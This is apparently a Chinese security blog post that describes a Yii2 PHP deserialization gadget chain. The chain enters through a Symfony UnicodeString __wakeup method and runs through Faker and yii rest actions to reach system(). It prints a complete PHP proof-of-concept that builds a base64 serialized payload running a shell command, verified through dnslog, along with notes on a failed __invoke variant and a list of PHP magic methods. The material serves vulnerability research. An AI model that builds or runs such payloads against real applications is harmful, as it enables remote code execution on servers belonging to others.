yii2反序列化后续
昨天早上上班前,我无意间看到其它师傅们挖的yii2利用链,其中有一个是我之前忽略了的,就想着赶紧分享给大家,但是昨天恰了个饭(文末有福利),发不了文章,只有今天发了
这是一条利用__wakeup
魔术方法作为入口的利用链,然后我就去看了看,有所收获,所以简单和大家分享一下
问题出在SymfonyComponentStringUnicodeString
,我们看下它的wakeup方法:
public function __wakeup()
{
normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string);
}
这里调用了normalizer_is_normalized,我一开始没有想到这个函数也会把参数当做字符串处理,也就是说这里也可以利用__toString
进一步利用
结合前文,我们可以很轻松的构造一条利用链出来:
SymfonyComponentStringUnicodeString::__wakeup()->phpDocumentorReflectionDocBlockTagsSee::__toString()-> FakerGenerator::__call() -> yiirestIndexAction::run()
但是,当我用我生成的payload去测试的时候,直接报错了
我当时也没有去搜这个错误是啥意思,以为是normalizer_is_normalized内部还有其他机制,然后我就去找了一下其他的__toString
方法,但是都报这个错(其它利用链我会在后面提到)
后来去查了一下,原来是php版本问题,PREG_UNMATCHED_AS_NULL这个静态变量只在php7.2以上才有,而我用的是php7.1,所以升级一下,然后测试,结果
又报错了...如下
我去查了一下,这个应该是yii的视图报错了导致无法回显命令执行的结果,所以,我利用dnslog来验证命令是否执行,如下:
可以看到命令成功执行了
poc1:
<?php
namespace yiirest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ping -c 4 123.xxx.tech';
}
}
}
namespace Faker{
use yiirestCreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentorReflectionDocBlockTags{
use FakerGenerator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace SymfonyComponentString{
use phpDocumentorReflectionDocBlockTagsSee;
class UnicodeString{
protected $string;
public function __construct()
{
$this->string = new See;
}
}
}
namespace{
use SymfonyComponentStringUnicodeString;
// 生成poc
echo base64_encode(serialize(new UnicodeString()));
}
?>
yii2真是一个练习反序列化连挖掘的好靶场,我们可以通过它来练习各种魔术方法在反序列化链构造中的使用
php所有的魔术方法如下:
- __construct(),类的构造函数
- __destruct(),类的析构函数
- __call(),在对象中调用一个不可访问方法时调用
- __callStatic(),用静态方式中调用一个不可访问方法时调用
- __get(),获得一个类的成员变量时调用
- __set(),设置一个类的成员变量时调用
- __isset(),当对不可访问属性调用isset()或empty()时调用
- __unset(),当对不可访问属性调用unset()时被调用。
- __sleep(),执行serialize()时,先会调用这个函数
- __wakeup(),执行unserialize()时,先会调用这个函数
- __toString(),类被当成字符串时的回应方法
- __invoke(),调用函数的方式调用一个对象时的回应方法
- __set_state(),调用var_export()导出类时,此静态方法会被调用。
- __clone(),当对象复制完成时调用
- __autoload(),尝试加载未定义的类
- __debugInfo(),打印所需调试信息
这里我本打算再利用__invoke
构造一个,我的想法如下:
SymfonyComponentStringUnicodeString::__wakeup()->SymfonyComponentStringLazyString::__toString()-> Swift_StreamCollector::__invoke()->phpDocumentorReflectionDocBlockTagsSee::__toString()->FakerGenerator::__call() -> yiirestIndexAction::run()
你看到这个链可能觉得我这是脱裤子放屁,但是在前面那个链报错的情况下,我才想出了这么一个链,以为可以不报错
我们看下LazyString的toString方法:
public function __toString()
{
if (is_string($this->value)) {
return $this->value;
}
try {
return $this->value = ($this->value)();
} catch (Throwable $e) {
...
}
}
可以看到上面代码中有($this->value)()
,我一开始以为这里不就可以利用__invoke
进行利用吗,但是后来发现我天真了,这报错给我安排的明明白白
可以看到,($this->value)()
这种形式是利用不了__invoke
的
简单记录下这个错误,也算是给大家排个坑吧
- Android 自定义标签 ViewLayout
- Identity Service - 解析微软微服务架构eShopOnContainers(二)
- 机器学习之随机森林
- Catalog Service - 解析微软微服务架构eShopOnContainers(三)
- EventBus In eShop -- 解析微软微服务架构Demo(四)
- Health Check in eShop -- 解析微软微服务架构Demo(五)
- Android Studio相见恨晚的操作锦集
- [收藏]几个常用的用正则表达式验证字符串的函数
- 走进科学: 无线安全需要了解的芯片选型、扫描器使用知识
- React Native之携程Moles框架
- 从Android短信漏洞到手机钓鱼木马
- 老外手把手带你搭建DMZ渗透测试实验室(Part 1,2)
- 与机器学习算法有关的数据结构
- 32764端口后门重出江湖,影响多款路由器
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法